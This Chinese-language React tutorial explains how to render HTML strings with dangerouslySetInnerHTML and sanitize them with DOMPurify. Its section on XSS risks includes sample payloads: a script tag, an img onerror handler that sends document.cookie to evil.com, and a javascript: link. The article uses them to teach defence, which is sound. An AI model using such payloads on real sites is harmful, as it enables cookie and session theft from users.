在React JSX中直接渲染HTML字符串会被默认转义为普通文本。本文系统讲解JSX输出HTML字符串的核心属性dangerouslySetInnerHTML的语法规范、底层渲染原理、XSS安全风险防范,以及配合DOMPurify进行安全过滤的最佳实践。
JSX里怎么输出HTML字符串?dangerouslySetInnerHTML怎么用?
时间:2026-11-12
浏览:378
文章目录
<div>{htmlString}</div> 输出包含 HTML 标签的字符串,React 出于安全防护策略,会自动将 <、> 等特殊符号转义,导致页面把标签当做纯文本显示。想要把 HTML 字符串正确解析为真实 DOM 节点并渲染出排版格式,React 官方提供了专用属性 dangerouslySetInnerHTML,规范语法为 <div dangerouslySetInnerHTML={{ __html: htmlString }} />。本文将系统拆解该属性的语法结构、底层原理、安全风险及配合 DOMPurify 的标准防范实践。
一、为什么直接在 JSX 中写 HTML 字符串无法渲染?
在传统前端开发中,若要把带有标记的字符串插入页面,可以直接给原生 DOM 赋值 element.innerHTML = htmlString。但在 React 中,如果按照常规的 JSX 变量绑定方式书写代码,浏览器不会按照 HTML 语法进行解析。
1. 现象演示
假设我们从接口或富文本数据中拿到如下一段 HTML 字符串:
function ProductNotice() {
// 包含 HTML 格式的普通字符串
const rawHtml = "<strong>发货提醒:</strong>受物流影响,您的包裹将于明日<span style='color: red;'>优先发出</span>。";
// 直接在 JSX 大括号中引用变量
return (
<div className="notice-box">
{rawHtml}
</div>
);
}
在页面中实际呈现的效果并非带有红色与加粗样式的提醒,而是直接展示了完整的源代码:
<strong>发货提醒:</strong>受物流影响,您的包裹将于明日<span style='color: red;'>优先发出</span>。
2. 底层原因:React 默认的 XSS 防御转义
React 这样设计的首要目标是防止跨站脚本攻击(XSS, Cross-Site Scripting)。在 React 内部渲染机制中,花括号 {rawHtml} 中的内容被严格视作纯文本(Text Node)。在将虚拟 DOM 输出为实际页面内容时,React 会自动对字符串执行 HTML 字符实体转义:
- 将
<转义为< - 将
>转义为> - 将
&转义为& - 将
"转义为"
正是这层默认转义屏障,使得即使用户输入中含有恶意的 <script>alert(1)</script>,也会被浏览器渲染为无害的纯文本字符,而绝不会作为可执行代码运行。
二、dangerouslySetInnerHTML 的基本语法与命名设计
当业务场景确实需要渲染 HTML(例如新闻资讯内容、富文本编辑器发布的结果、第三方 CMS 返回的排版等)时,我们必须使用 React 专门提供的 dangerouslySetInnerHTML 属性。
1. 标准使用语法
它的用法非常特殊,必须向其传入一个包含 __html 字段的 JavaScript 对象,且该宿主容器标签应为无子元素的自闭合标签:
import React from "react";
function HtmlViewer() {
const articleContent = "<h3>系统更新公告</h3><p>核心模块已升级至 <strong>v2.4</strong>。</p>";
return (
<div
className="article-content"
dangerouslySetInnerHTML={{ __html: articleContent }}
/>
);
}
2. 为什么是“双花括号”?
初学者常常困惑于 {{ __html: ... }} 的写法。拆解来看:
- 外层花括号
{ ... }:这是 JSX 的语法标记,表示其内部是纯 JavaScript 表达式; - 内层花括号
{ __html: articleContent }:这是一个常规的 JavaScript 对象字面量(Object Literal)。
等价于先定义一个中间变量:
const innerMarkup = { __html: articleContent };
return <div dangerouslySetInnerHTML={innerMarkup} />;
3. 为什么要有 __html 与 dangerously 前缀?
React 设计团队故意给这个属性赋予了一个带有警示意味的名字:
- 警告开发者(Code Smell):
dangerously直译为“危险地”。它的存在就像代码中的警报灯,在代码审查(Code Review)或静态检测中极其显眼,提醒开发者该处绕过了 React 的安全沙箱。 - 双下划线
__html:强制要求构造{ __html: ... }对象,避免开发者无意中将未处理的普通变量直接绑定给属性,从而增加一道意识上的防火墙。
三、危险所在:XSS 攻击的真实载荷与破坏力
为什么 React 视其为“危险”?因为浏览器在执行 innerHTML 赋值时,会全面执行 HTML 规范所允许的一切交互行为。一旦 HTML 字符串来源于未经信任的用户输入(例如评论区留言、论坛发帖、URL 参数或第三方接口),攻击者就可以构造恶意载荷实施 XSS 攻击。
1. 常见恶意攻击载荷形式
| 载荷类型 | 恶意代码示例 | 攻击触发机制与危害 |
|---|---|---|
| 内嵌脚本标签 | <script>steal(document.cookie)</script> |
虽然部分现代浏览器对直接插入的 script 标签做了执行限制,但在特定环境或配合动态创建时仍可能引发代码执行。 |
| DOM 事件句柄 | <img src="invalid" onerror="fetch('https://evil.com/steal?c='+document.cookie)" /> |
图片地址故意填写不存在的路径,触发 onerror 事件,无需用户交互即自动在当前域下运行恶意 JS。 |
| 伪协议攻击 | <a href="javascript:doTransferMoney()">领取福利</a> |
诱导用户点击看似普通的超链接,点击后在上下文环境下直接调用内部特权函数或接口。 |
dangerouslySetInnerHTML。一旦恶意代码在受害者浏览器中执行,攻击者可盗取用户的登录凭证(Cookie/LocalStorage Token)、伪造用户操作甚至篡改整个页面。
四、安全实施标准:结合 DOMPurify 进行内容净化
解决 XSS 风险的行业黄金标准是:在将 HTML 字符串传入 dangerouslySetInnerHTML 之前,先对其进行严格的白名单清洗(Sanitization)。DOMPurify 是前端领域被广泛验证且性能极佳的 XSS 防御库。
步骤 1:安装依赖包
在你的 React 项目根目录下执行安装命令:
# 使用 npm
npm install dompurify
npm install --save-dev @types/dompurify
# 或使用 yarn
yarn add dompurify
yarn add -D @types/dompurify
# 若在 Next.js 等服务端渲染 (SSR) 框架中,建议安装同构版本
npm install isomorphic-dompurify
步骤 2:封装可复用的安全渲染组件
在实际工程中,建议不要在各个业务页面中随处散落 dangerouslySetInnerHTML,而是将其封装为一个专用的 SafeHtmlRenderer 组件,统一在此处完成清洗逻辑与样式注入:
import React, { useMemo } from "react";
import DOMPurify from "dompurify";
interface SafeHtmlProps {
dirtyHtml: string;
className?: string;
}
export const SafeHtmlRenderer: React.FC<SafeHtmlProps> = ({ dirtyHtml, className }) => {
// 使用 useMemo 避免每次重渲染重复进行正则净化运算
const cleanHtml = useMemo(() => {
if (!dirtyHtml) return "";
// 调用 DOMPurify.sanitize 进行白名单过滤
return DOMPurify.sanitize(dirtyHtml, {
// 可选:严格限制允许的标签与属性
ALLOWED_TAGS: ["b", "strong", "i", "em", "p", "span", "h1", "h2", "h3", "ul", "ol", "li", "a", "img", "blockquote", "code", "pre"],
ALLOWED_ATTR: ["href", "title", "src", "alt", "class", "style", "target"],
});
}, [dirtyHtml]);
return (
<div
className={`rich-content-container ${className || ""}`}
dangerouslySetInnerHTML={{ __html: cleanHtml }}
/>
);
};
window 与 document 并不存在,直接引入 dompurify 会报错。此时引入 isomorphic-dompurify 可以在服务端自动使用 jsdom 模拟环境,保持前后端运行的一致性。
五、工程落地的关键细节与常见陷阱
1. 容器内不能同时嵌套子元素(Children)
如果在设置了 dangerouslySetInnerHTML 的元素内部同时编写了子节点,React 在运行时会抛出控制台警告,因为这两种声明方式在 DOM 结构构建上是相互冲突的:
// ❌ 错误示范:同时传入 children 与 dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: cleanHtml }}>
<span>不要在这里放置子节点</span>
</div>
// 控制台警告:Error: Can only set one of `children` or `props.dangerouslySetInnerHTML`.
// ✓ 正确示范:使用无子节点的自闭合标签
<div dangerouslySetInnerHTML={{ __html: cleanHtml }} />
2. 富文本的 CSS 样式作用域隔离
使用 CSS Modules 或 styled-components 时,注入的 HTML 内部标签(如 <p>、<strong>)并没有被编译生成对应的哈希类名(Hash Class)。因此,必须通过外层容器类的后代选择器来定义样式:
/* 在对应的 CSS 样式表中定义 */
.rich-content-container {
line-height: 1.8;
color: #334155;
}
/* 使用后代选择器修饰动态注入的子标签 */
.rich-content-container p {
margin-bottom: 1em;
}
.rich-content-container img {
max-width: 100%;
height: auto;
border-radius: 6px;
}
.rich-content-container a {
color: #438A80;
text-decoration: underline;
}
3. 虚拟 DOM Diff 与性能影响
当外部传入的 __html 字符串发生变更时,React 无法在虚拟 DOM 层细粒度地比对 HTML 内部的具体标签变化,而是会直接触发整块宿主节点的 innerHTML 全量重绘。因此:
- 避免在频繁变动的循环动画或毫秒级高频更新状态中频繁替换整段 HTML;
- 对于大篇幅长文档,结合
React.memo或useMemo确保仅在内容真正改变时才触发重新解析。
六、技术选型决策:什么时候该用替代方案?
并不是所有格式化展示场景都需要使用 dangerouslySetInnerHTML。根据具体的数据结构与业务目标,通常有以下更优雅或更安全的替代方案:
| 方案 | 适用场景 | 核心优势 | 注意事项 |
|---|---|---|---|
| 原生 JSX 组件 | 静态内容、前端可控的小段排版 | 安全性最高,享有完整的虚拟 DOM Diff 与组件生命周期 | 无法动态渲染外部或数据库返回的未知结构 |
| react-markdown | 博客、文档、问答评论等 Markdown 格式内容 | 直接解析为原生 React 元素树,天然免疫脚本注入 | 仅适用于 Markdown 文本,若为 HTML 仍需插件配合 |
| html-react-parser | 需要将特定 HTML 标签替换为自定义 React 组件(如将 <a> 换成 <Link>) |
把 HTML 字符串转成真正的 React 虚拟 DOM 树,拦截定制能力强 | 运行时代价略高于原生 innerHTML,仍需做 XSS 过滤 |
| DOMPurify + dangerouslySetInnerHTML | 富文本编辑器生成的大段 HTML、老旧 CMS 内容 | 渲染性能极高,原生浏览器解析,轻量无多余依赖 | 必须严格配套 DOMPurify 净化过滤器 |
七、总结
在 React JSX 中渲染 HTML 字符串的核心逻辑可以概括为以下三条准则:
- 理解默认转义:React 默认通过文本转义屏蔽 HTML 解析,旨在从源头根除绝大部分 XSS 漏洞;
- 掌握规范语法:必须输出 HTML 字符串时,使用无子节点的宿主标签挂载
dangerouslySetInnerHTML={{ __html: sanitizedString }}; - 坚守安全底线:“危险”源于不可信输入。任何动态引入的 HTML 必须在渲染前通过 DOMPurify 进行白名单消毒,确保在保留排版格式的同时彻底消除脚本注入隐患。
实用工具推荐
绿化、压缩、噪点和虚拟水印,自由调节做旧程度。
选择画质和输出格式,预览压缩前后的大小。